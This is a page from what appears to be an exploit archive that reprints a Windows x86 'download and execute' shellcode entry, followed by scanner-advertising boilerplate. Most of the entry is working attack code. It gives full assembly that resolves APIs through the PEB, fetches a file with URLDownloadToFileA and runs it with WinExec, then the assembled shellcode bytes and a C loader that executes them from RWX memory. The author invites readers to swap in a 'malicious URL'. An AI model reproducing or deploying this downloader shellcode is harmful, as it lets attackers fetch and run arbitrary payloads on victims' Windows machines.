windowsx86 download file and execute dynamic peb & edt method shellcode (458 bytes)

▸▸▸ Exploit & Vulnerability >>   shellcode exploit & windows_x86 vulnerability




windowsx86 download file and execute dynamic peb & edt method shellcode (458 bytes) Code Code...
				
; Exploit Title: Windows/x86 - Download File and Execute / Dynamic PEB & EDT method Shellcode (458 bytes) ; Exploit Author: Techryptic (@Tech) ; Date: 2022-01-31 ; Tested on: WIN7X86 ; Shoutout to #848 Advanced Software Exploitation and DSU. ; Description: ; The shellcode works in three parts. The first part and API call is using the Kernel32.dll and calling both CreateProcessA and LoadLibraryA function. Moving onto the next API call, it utilizes the urlmon.dll and calls the URLDownloadToFileA function. The objective of this call is to download a file from our malicious URL. Finally, the third API call is using the WinExec function to run the command, which will run the file that was downloaded. ; the PEB method to locate the baseAddress of the required module and the Export Directory Table to locate symbols. ; Also the shellcode uses a hash function to gather dynamically the required symbols without worry about the length. ; Feel free to change which file is being downloaded, and what command to run the file. For example, if set to download a .vbs script, you can use the command 'cscript shellcode.vbs'. [BITS 32] mainentrypoint: call geteip geteip: pop edx ; EDX is now base for function lea edx, [edx-5] mov ebp, esp sub esp, 1000h ; Locate kernel32.dll push edx mov ebx, 0x4b1ffe8e call get_module_address pop edx ; Build kernel32.dll API function pointer table push ebp push edx mov ebp, eax lea esi, [EDX + KERNEL32HASHTABLE] lea edi, [EDX + KERNEL32FUNCTIONSTABLE] call get_api_address pop edx pop ebp ; Call LoadLibaryA to get urlmon.dll into memory push ebp push edx lea eax, [EDX + URLMON] push eax call [EDX + LoadLibraryA] pop edx pop ebp ; Build urlmon.dll API function pointer table push ebp push edx mov ebp, eax lea esi, [EDX + URLMONHASHTABLE] lea edi, [EDX + URLMONFUNCTIONSTABLE] call get_api_address pop edx pop ebp ; Call URLDownloadToFileA ; pCaller NULL, URL, FILENAME, 0, 0 push eax push 0 push 0 lea edi, [EDX + URL] lea esi, [EDX + FILENAME] push esi push edi push 0 call eax ;and esp, 0xfffffff0; Using the WinExec API to call com call geteip2 geteip2: pop edx ; EDX is now base for function lea edx, [edx-122] ; yes. mov ebp, esp sub esp, 1000h ; Locate kernel32.dll push edx mov ebx, 0x4b1ffe8e ; kernel32.dll module hash call get_module_address ; Sets EAX to kernel32.<Location> pop edx ; Build kernel32.dll API function pointer table push ebp push edx mov ebp, eax lea esi, [EDX + WINKERNEL32HASHTABLE] lea edi, [EDX + WINKERNEL32FUNCTIONSTABLE] call get_api_address ; sets EAX to kernel32.WinExec function. pop edx pop ebp ; call winexec api lea esi, [EDX + CMD] ;change back to EXE push 0x00 push esi push dword [EDX + WINKERNEL32_WINEXEC] pop eax call eax get_module_address: ;walk PEB find target module cld xor edi, edi mov edi, [FS:0x30] mov edi, [edi+0xC] mov edi, [edi+0x14] next_module_loop: mov esi, [edi+0x28] xor edx, edx module_hash_loop: lodsw test al, al jz end_module_hash_loop cmp al, 0x41 jb end_hash_check cmp al, 0x5A ja end_hash_check or al, 0x20 end_hash_check: rol edx, 7 xor dl, al jmp module_hash_loop end_module_hash_loop: cmp edx, ebx mov eax, [edi+0x10] mov edi, [edi] jnz next_module_loop ret get_api_address: mov edx, ebp add edx, [edx+3Ch] mov edx, [edx+78h] add edx, ebp mov ebx, [edx+20h] add ebx, ebp xor ecx, ecx load_api_hash: push edi push esi mov esi, [esi] load_api_name: mov edi, [ebx] add edi, ebp push edx xor edx, edx create_hash_loop: rol edx, 7 xor dl, [edi] inc edi cmp byte [edi], 0 jnz create_hash_loop xchg eax, edx pop edx cmp eax, esi jz load_api_addy add ebx, 4 inc ecx cmp [edx+18h], ecx jnz load_api_name pop esi pop edi ret load_api_addy: pop esi pop edi lodsd push esi push ebx mov ebx, ebp mov esi, ebx add ebx, [edx+24h] lea eax, [ebx+ecx*2] movzx eax, word [eax] lea eax, [esi+eax*4] add eax, [edx+1ch] mov eax, [eax] add eax, esi stosd pop ebx pop esi add ebx, 4 inc ecx cmp dword [esi], 0FFFFh jnz load_api_hash ret CMD: db "cscript cats-dl.vbs", 0 ; Command that will run FILENAME: db "cats-dl.vbs", 0 ; Name of the file being written to disk URL: db "http://127.0.0.1:8080/cats.vbs", 0 ; Use a non-malicious file extension URLMON: db "urlmon.dll", 0 KERNEL32HASHTABLE: dd 0x46318ac7 ; CreateProcessA dd 0xc8ac8026 ; LoadLibraryA dd 0xFFFF KERNEL32FUNCTIONSTABLE: CreateProcessA: dd 0x00000001 LoadLibraryA: dd 0x00000002 WINKERNEL32HASHTABLE: dd 0xe8bf6dad ; WinExec dd 0xFFFF ; make sure to end with this token WINKERNEL32FUNCTIONSTABLE: WINKERNEL32_WINEXEC dd 0x00000000 URLMONHASHTABLE: dd 0xd95d2399 ; URLDownloadToFileA function dd 0xFFFF URLMONFUNCTIONSTABLE: URLDownloadToFileA: dd 0x00000003 [*]================================= POC =============================== [*] #include <windows.h> #include <stdio.h> // nasm -f win32 shellcode.asm -o shellcode.o // objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' char shellcode[] = "\xe8\x00\x00\x00\x00\x5a\x8d\x52\xfb\x89\xe5\x81\xec\x00\x10" "\x00\x00\x52\xbb\x8e\xfe\x1f\x4b\xe8\x9d\x00\x00\x00\x5a\x55" "\x52\x89\xc5\x8d\xb2\x9e\x01\x00\x00\x8d\xba\xaa\x01\x00\x00" "\xe8\xbd\x00\x00\x00\x5a\x5d\x55\x52\x8d\x82\x93\x01\x00\x00" "\x50\xff\x92\xae\x01\x00\x00\x5a\x5d\x55\x52\x89\xc5\x8d\xb2" "\xbe\x01\x00\x00\x8d\xba\xc6\x01\x00\x00\xe8\x95\x00\x00\x00" "\x5a\x5d\x50\x6a\x00\x6a\x00\x8d\xba\x74\x01\x00\x00\x8d\xb2" "\x68\x01\x00\x00\x56\x57\x6a\x00\xff\xd0\xe8\x00\x00\x00\x00" "\x5a\x8d\x52\x86\x89\xe5\x81\xec\x00\x10\x00\x00\x52\xbb\x8e" "\xfe\x1f\x4b\xe8\x2a\x00\x00\x00\x5a\x55\x52\x89\xc5\x8d\xb2" "\xb2\x01\x00\x00\x8d\xba\xba\x01\x00\x00\xe8\x4a\x00\x00\x00" "\x5a\x5d\x8d\xb2\x54\x01\x00\x00\x6a\x00\x56\xff\xb2\xba\x01" "\x00\x00\x58\xff\xd0\xfc\x31\xff\x64\x8b\x3d\x30\x00\x00\x00" "\x8b\x7f\x0c\x8b\x7f\x14\x8b\x77\x28\x31\xd2\x66\xad\x84\xc0" "\x74\x11\x3c\x41\x72\x06\x3c\x5a\x77\x02\x0c\x20\xc1\xc2\x07" "\x30\xc2\xeb\xe9\x39\xda\x8b\x47\x10\x8b\x3f\x75\xdb\xc3\x89" "\xea\x03\x52\x3c\x8b\x52\x78\x01\xea\x8b\x5a\x20\x01\xeb\x31" "\xc9\x57\x56\x8b\x36\x8b\x3b\x01\xef\x52\x31\xd2\xc1\xc2\x07" "\x32\x17\x47\x80\x3f\x00\x75\xf5\x92\x5a\x39\xf0\x74\x0c\x83" "\xc3\x04\x41\x39\x4a\x18\x75\xdf\x5e\x5f\xc3\x5e\x5f\xad\x56" "\x53\x89\xeb\x89\xde\x03\x5a\x24\x8d\x04\x4b\x0f\xb7\x00\x8d" "\x04\x86\x03\x42\x1c\x8b\x00\x01\xf0\xab\x5b\x5e\x83\xc3\x04" "\x41\x81\x3e\xff\xff\x00\x00\x75\xad\xc3\x63\x73\x63\x72\x69" "\x70\x74\x20\x63\x61\x74\x73\x2d\x64\x6c\x2e\x76\x62\x73\x00" "\x63\x61\x74\x73\x2d\x64\x6c\x2e\x76\x62\x73\x00\x68\x74\x74" "\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x38" "\x30\x38\x30\x2f\x63\x61\x74\x73\x2e\x76\x62\x73\x00\x75\x72" "\x6c\x6d\x6f\x6e\x2e\x64\x6c\x6c\x00\xc7\x8a\x31\x46\x26\x80" "\xac\xc8\xff\xff\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xad" "\x6d\xbf\xe8\xff\xff\x00\x00\x00\x00\x00\x00\x99\x23\x5d\xd9" "\xff\xff\x00\x00\x03\x00\x00\x00"; int main(int argc, char **argv) { HINSTANCE hInstLib = LoadLibrary(TEXT("user32.dll")); int i = 0, len = 0, target_addy = 0, offset = 0x0; void*stage = VirtualAlloc(0, 0x1000, 0x1000,0x40 ); printf("[*] Memory allocated: 0x%08x\n", stage); len = sizeof(shellcode); printf("[*] Size of Shellcode: %08x\n", len); memmove(stage, shellcode, 0x1000); printf("[*] Shellcode copied\n"); target_addy = (char*)stage + offset; printf("[*] Adjusting offset: 0x%08x\n", target_addy); __asm { int 3 mov eax, target_addy jmp eax } }

Windowsx86 download file and execute dynamic peb & edt method shellcode (458 bytes) Vulnerability / Exploit Source : Windowsx86 download file and execute dynamic peb & edt method shellcode (458 bytes)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.